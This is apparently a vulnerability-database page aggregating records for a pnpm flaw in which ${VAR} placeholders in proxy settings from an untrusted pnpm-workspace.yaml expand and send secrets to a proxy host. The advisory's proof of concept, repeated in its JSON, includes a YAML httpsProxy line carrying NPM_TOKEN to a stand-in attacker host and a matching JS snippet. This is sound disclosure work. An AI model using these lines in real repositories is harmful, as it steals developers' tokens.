Vulnerability-Lookup

CVE-2026-101043 (GCVE-0-2026-101043)

Vulnerability from cvelistv5 – Published: 2026-09-27 17:02 – Updated: 2026-09-30 15:47

Title

pnpm 11.0.0 before 11.11.0 Environment Variable Exfiltration via Proxy Settings

Summary

pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project's pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository's pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic — and the corresponding DNS lookups — through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.

Severity

8.3 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

7.4 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-30 15:47 UTC

CWE

CWE-201 - Insertion of Sensitive Information Into Sent Data

Assigner

VulnCheck mitre root Scorecard

References

2 references

URL	Tags
https://github.com/pnpm/pnpm/security/advisories/…	vendor-advisory
https://www.vulncheck.com/advisories/pnpm-11.0.0-…	third-party-advisory

Impacted products

2 products

Vendor	Product	Version
pnpm	pnpm	Affected: 11.0.0 , < 11.11.0 (semver) Unaffected: 11.11.0 (semver)
pnpm	pnpm	Affected: 10.7.0 , < 10.34.5 (semver) Unaffected: 10.34.5 (semver)

Date Public

2026-08-03 00:00

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-101043",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-30T15:47:05.650499Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-30T15:47:12.588Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/pnpm",
          "product": "pnpm",
          "vendor": "pnpm",
          "versions": [
            {
              "lessThan": "11.11.0",
              "status": "affected",
              "version": "11.0.0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "11.11.0",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/pnpm",
          "product": "pnpm",
          "vendor": "pnpm",
          "versions": [
            {
              "lessThan": "10.34.5",
              "status": "affected",
              "version": "10.7.0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "10.34.5",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "11.11.0",
                  "versionStartIncluding": "11.0.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        },
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "10.34.5",
                  "versionStartIncluding": "10.7.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "datePublic": "2026-08-03T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project\u0027s pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository\u0027s pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic \u2014 and the corresponding DNS lookups \u2014 through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.3,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-201",
              "description": "Insertion of Sensitive Information Into Sent Data",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-27T17:02:33.119Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-vx52-2968-3vc6)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"
        },
        {
          "name": "VulnCheck Advisory: pnpm 11.0.0 before 11.11.0 Environment Variable Exfiltration via Proxy Settings",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/pnpm-11.0.0-before-11.11.0-environment-variable-exfiltration-via-proxy-settings"
        }
      ],
      "title": "pnpm 11.0.0 before 11.11.0 Environment Variable Exfiltration via Proxy Settings",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-101043",
    "datePublished": "2026-09-27T17:02:33.119Z",
    "dateReserved": "2026-09-27T15:48:49.472Z",
    "dateUpdated": "2026-09-30T15:47:12.588Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-101043",
      "date": "2026-10-01",
      "epss": "0.00225",
      "percentile": "0.1199"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "defaultStatus": "unaffected",
                "packageURL": "pkg:npm/pnpm",
                "product": "pnpm",
                "vendor": "pnpm",
                "versions": [
                  {
                    "lessThan": "11.11.0",
                    "status": "affected",
                    "version": "11.0.0",
                    "versionType": "semver"
                  },
                  {
                    "status": "unaffected",
                    "version": "11.11.0",
                    "versionType": "semver"
                  }
                ]
              },
              {
                "defaultStatus": "unaffected",
                "packageURL": "pkg:npm/pnpm",
                "product": "pnpm",
                "vendor": "pnpm",
                "versions": [
                  {
                    "lessThan": "10.34.5",
                    "status": "affected",
                    "version": "10.7.0",
                    "versionType": "semver"
                  },
                  {
                    "status": "unaffected",
                    "version": "10.34.5",
                    "versionType": "semver"
                  }
                ]
              }
            ],
            "source": "disclosure@vulncheck.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project\u0027s pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository\u0027s pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic \u2014 and the corresponding DNS lookups \u2014 through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5."
          }
        ],
        "id": "CVE-2026-101043",
        "lastModified": "2026-09-30T17:23:08.953",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.4,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 4.0,
              "source": "disclosure@vulncheck.com",
              "type": "Secondary"
            }
          ],
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 8.3,
                "baseSeverity": "HIGH",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "NONE",
                "userInteraction": "PASSIVE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "disclosure@vulncheck.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-101043",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-30T15:47:05.650499Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-09-27T18:16:29.700",
        "references": [
          {
            "source": "disclosure@vulncheck.com",
            "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"
          },
          {
            "source": "disclosure@vulncheck.com",
            "url": "https://www.vulncheck.com/advisories/pnpm-11.0.0-before-11.11.0-environment-variable-exfiltration-via-proxy-settings"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"
          }
        ],
        "sourceIdentifier": "disclosure@vulncheck.com",
        "vulnStatus": "Awaiting Analysis",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-201"
              }
            ],
            "source": "disclosure@vulncheck.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "aggregate_severity": "Important",
      "current_release_date": "2026-10-02T00:44:11+00:00",
      "cve": "CVE-2026-101043",
      "id": "CVE-2026-101043",
      "initial_release_date": "2026-09-27T17:02:33.119000+00:00",
      "product_status:known_affected": "7",
      "product_status:known_not_affected": "7",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "pnpm: pnpm: Information disclosure via environment variable expansion in proxy settings",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-101043.json",
      "version": "3"
    }
  }
}

BREW-PNPM@10-GHSA-VX52-2… (GHSA-VX52-2968-3VC6)

Vulnerability from osv_homebrew – Published: 2026-09-02 09:42 – Updated: 2026-09-30 09:03 – Source website

Summary

pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml

Details

Summary

pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as NPM_TOKEN or GITHUB_TOKEN.

This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.

Impact

An attacker who controls only the contents of a repository's pnpm-workspace.yaml — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.

This turns "I can author a project manifest" into "I read the victim's environment secrets."

Affected versions

Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.

pnpm 11.x: >= 11.0.0, < 11.11.0
pnpm 10.x: >= 10.7.0, < 10.34.5

The Rust port (pacquet) and the registry server (pnpr) are not affected.

Patches

pnpm 11.11.0 and later
pnpm 10.34.5 and later

The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.

Workarounds

Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.

Proof of concept

# pnpm-workspace.yaml in an untrusted repository
packages:
  - .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"

With NPM_TOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.

Unit level:

process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched:    o.httpsProxy === undefined

Using registry or pnprServer in place of httpsProxy does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.

Credit

Reported privately. A second finding in the original report — the Authorization header being retained across a same-host https -> http redirect — was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.

Severity

7.4 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

References

URL

Type

	https://github.com/pnpm/pnpm/security/advisories/…	WEB
	https://github.com/pnpm/pnpm/pull/12871	WEB
	https://github.com/pnpm/pnpm/pull/12898	WEB
	https://github.com/pnpm/pnpm/commit/36928beae9afb…	WEB
	https://github.com/pnpm/pnpm/commit/5a4daec4bd5f0…	WEB
	https://github.com/orgs/pnpm/discussions/13598	WEB
	https://github.com/pnpm/pnpm	PACKAGE
	https://github.com/pnpm/pnpm/releases/tag/v10.34.5	WEB
	https://github.com/pnpm/pnpm/releases/tag/v11.11.0	WEB

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "10.34.5"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pnpm@10",
        "purl": "pkg:brew/pnpm%4010"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.33.2"
            },
            {
              "fixed": "10.34.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "npm",
        "key": "pkg:npm/pnpm@10.34.6",
        "name": "pnpm",
        "strategy": "registry",
        "subject_version": "10.34.6"
      }
    ]
  },
  "details": "## Summary\n\npnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project\u0027s `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds \u2014 and thereby exfiltrates \u2014 an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`.\n\nThis bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.\n\n## Impact\n\nAn attacker who controls only the contents of a repository\u0027s `pnpm-workspace.yaml` \u2014 a public repo, a fork, or a supply-chain pull request \u2014 can read many values out of the victim\u0027s process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim\u0027s store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.\n\nThis turns \"I can author a project manifest\" into \"I read the victim\u0027s environment secrets.\"\n\n## Affected versions\n\nIntroduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.\n\n- pnpm 11.x: `\u003e= 11.0.0, \u003c 11.11.0`\n- pnpm 10.x: `\u003e= 10.7.0, \u003c 10.34.5`\n\nThe Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected.\n\n## Patches\n\n- **pnpm 11.11.0** and later\n- **pnpm 10.34.5** and later\n\nThe fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded \u2014 matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader\u0027s `isRequestDestinationValueKey`. Regression tests cover the proxy keys.\n\n## Workarounds\n\nUpgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository\u0027s `pnpm-workspace.yaml` for proxy settings before installing.\n\n## Proof of concept\n\n```yaml\n# pnpm-workspace.yaml in an untrusted repository\npackages:\n  - .\nhttpsProxy: \"http://${NPM_TOKEN}.collector.attacker.example.com:8080\"\n```\n\nWith `NPM_TOKEN` set in the victim\u0027s environment, `pnpm install` expands the placeholder and routes install traffic through the attacker\u0027s host, whose hostname (and DNS query) carries the token.\n\nUnit level:\n\n```js\nprocess.env.PNPM_TEST_TOKEN = \u0027secret\u0027\nconst o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: \u0027http://${PNPM_TEST_TOKEN}.evil/\u0027 })\n// Vulnerable: o.httpsProxy === \u0027http://secret.evil/\u0027\n// Patched:    o.httpsProxy === undefined\n```\n\nUsing `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version \u2014 those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.\n\n## Credit\n\nReported privately. A second finding in the original report \u2014 the `Authorization` header being retained across a same-host `https` -\u003e `http` redirect \u2014 was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.",
  "id": "BREW-pnpm@10-GHSA-vx52-2968-3vc6",
  "modified": "2026-09-30T09:03:22Z",
  "published": "2026-09-02T09:42:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/pull/12871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/pull/12898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/36928beae9afb64a2a6a1221df54e66d361320c8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/5a4daec4bd5f0170b18ae053aff093eea56368ba"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orgs/pnpm/discussions/13598"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/releases/tag/v10.34.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/releases/tag/v11.11.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml",
  "upstream": [
    "GHSA-vx52-2968-3vc6",
    "CVE-2026-101043"
  ]
}

EUVD-2026-379376

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 08:40

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T08:40:53.609449+00:00",
  "id": "EUVD-2026-379376"
}

FKIE_CVE-2026-101043

Vulnerability from fkie_nvd - Published: 2026-09-27 18:16 - Updated: 2026-09-30 17:23

Severity

7.4 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Summary

References

	URL	Tags
	disclosure@vulncheck.com	https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6
	disclosure@vulncheck.com	https://www.vulncheck.com/advisories/pnpm-11.0.0-before-11.11.0-environment-variable-exfiltration-via-proxy-settings
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/pnpm",
          "product": "pnpm",
          "vendor": "pnpm",
          "versions": [
            {
              "lessThan": "11.11.0",
              "status": "affected",
              "version": "11.0.0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "11.11.0",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/pnpm",
          "product": "pnpm",
          "vendor": "pnpm",
          "versions": [
            {
              "lessThan": "10.34.5",
              "status": "affected",
              "version": "10.7.0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "10.34.5",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project\u0027s pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository\u0027s pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic \u2014 and the corresponding DNS lookups \u2014 through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5."
    }
  ],
  "id": "CVE-2026-101043",
  "lastModified": "2026-09-30T17:23:08.953",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.4,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.0,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.3,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-101043",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-30T15:47:05.650499Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-27T18:16:29.700",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/pnpm-11.0.0-before-11.11.0-environment-variable-exfiltration-via-proxy-settings"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
